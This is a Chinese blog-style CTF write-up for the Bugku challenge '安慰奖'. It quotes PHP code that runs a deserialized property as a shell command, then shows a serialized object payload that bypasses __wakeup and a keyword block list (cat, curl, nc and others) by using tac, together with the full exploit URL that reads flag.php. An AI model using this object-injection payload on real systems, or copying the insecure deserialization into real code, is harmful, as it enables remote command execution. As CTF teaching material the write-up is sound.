bugku 安慰奖

╰+哭是因爲堅強的太久メ 2023-01-01 03:48 165阅读 0赞

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3p6bGRt_size_16_color_FFFFFF_t_70]  
打开网页，发现什么也没有，查看源码，发现YmFja3Vwcw==，base64解码，得到backups  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3p6bGRt_size_16_color_FFFFFF_t_70 1]  
查看根目录下index.php.bak文件，得到代码

<?php
 
 header("Content-Type: text/html;charset=utf-8");
 error_reporting(0);
 echo ""; #base64解码，backups
 class ctf
 { 
 protected $username = 'hack';
 protected $cmd = 'NULL';
 public function __construct($username,$cmd)
 { 
 $this->username = $username;
 $this->cmd = $cmd;
 }
 function __wakeup()
 { 
 $this->username = 'guest';
 }
 
 function __destruct()
 { 
 if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
 { 
 exit('flag能让你这么容易拿到吗？ ');
 }
 if ($this->username === 'admin')
 { 
 // echo " right! ";
 $a = `$this->cmd`;
 var_dump($a);
 }else
 { 
 echo "给你个安慰奖吧，hhh！";
 die();
 }
 }
 }
 $select = $_GET['code'];
 $res=unserialize(@$select);
 ?>

考察的是[ctf中的序列化和反序列化][ctf]

> 需要绕过\_\_wakeup()函数

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过\_\_wakeup的执行。

还过滤了很多Linux命令，我们还能使用tac命令

> tac的功能是将文件从最后一行开始倒过来将内容数据输出到屏幕上。我们可以发现，tac实际上是cat反过来写。

构建序列化对象

O:3:"ctf":3:{ s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}
    
    O 代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示
    3 代表类名字占三个字符 
    ctf 类名
    3 代表三个属性，因为需要绕过__wakeup()函数，所以比实际属性个数2大
    s代表字符串
    11代表属性名长度
    username 属性名
    s:5:"admin" 字符串 属性值长度 属性值
    
    private属性被序列化的时候属性值会变成%00类名%00属性名,根据规则进行修改

访问URL

http://114.67.246.176:18776/?code=O:3:%22ctf%22:3:{s:11:%22%00*%00username%22;s:5:%22admin%22;s:6:%22%00*%00cmd%22;s:12:%22tac%20flag.php%22;}

得到  
![在这里插入图片描述][20201231104526824.png]

> flag\{Unser1alize\_and\_2CE\_Add\}

[参考1][1]

[ctf中的序列化和反序列化][ctf]

[安慰奖][Link 1]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3p6bGRt_size_16_color_FFFFFF_t_70]: /images/20221120/26d162dc606a4467a908f66eb9341228.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3p6bGRt_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20201231103744399.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3p6bGRt,size_16,color_FFFFFF,t_70
[ctf]: https://www.cnblogs.com/HelloCTF/p/13044403.html
[20201231104526824.png]: https://img-blog.csdnimg.cn/20201231104526824.png
[1]: https://blog.csdn.net/EC_Carrot/article/details/111650958
[Link 1]: https://ctf.bugku.com/challenges/detail/id/114.html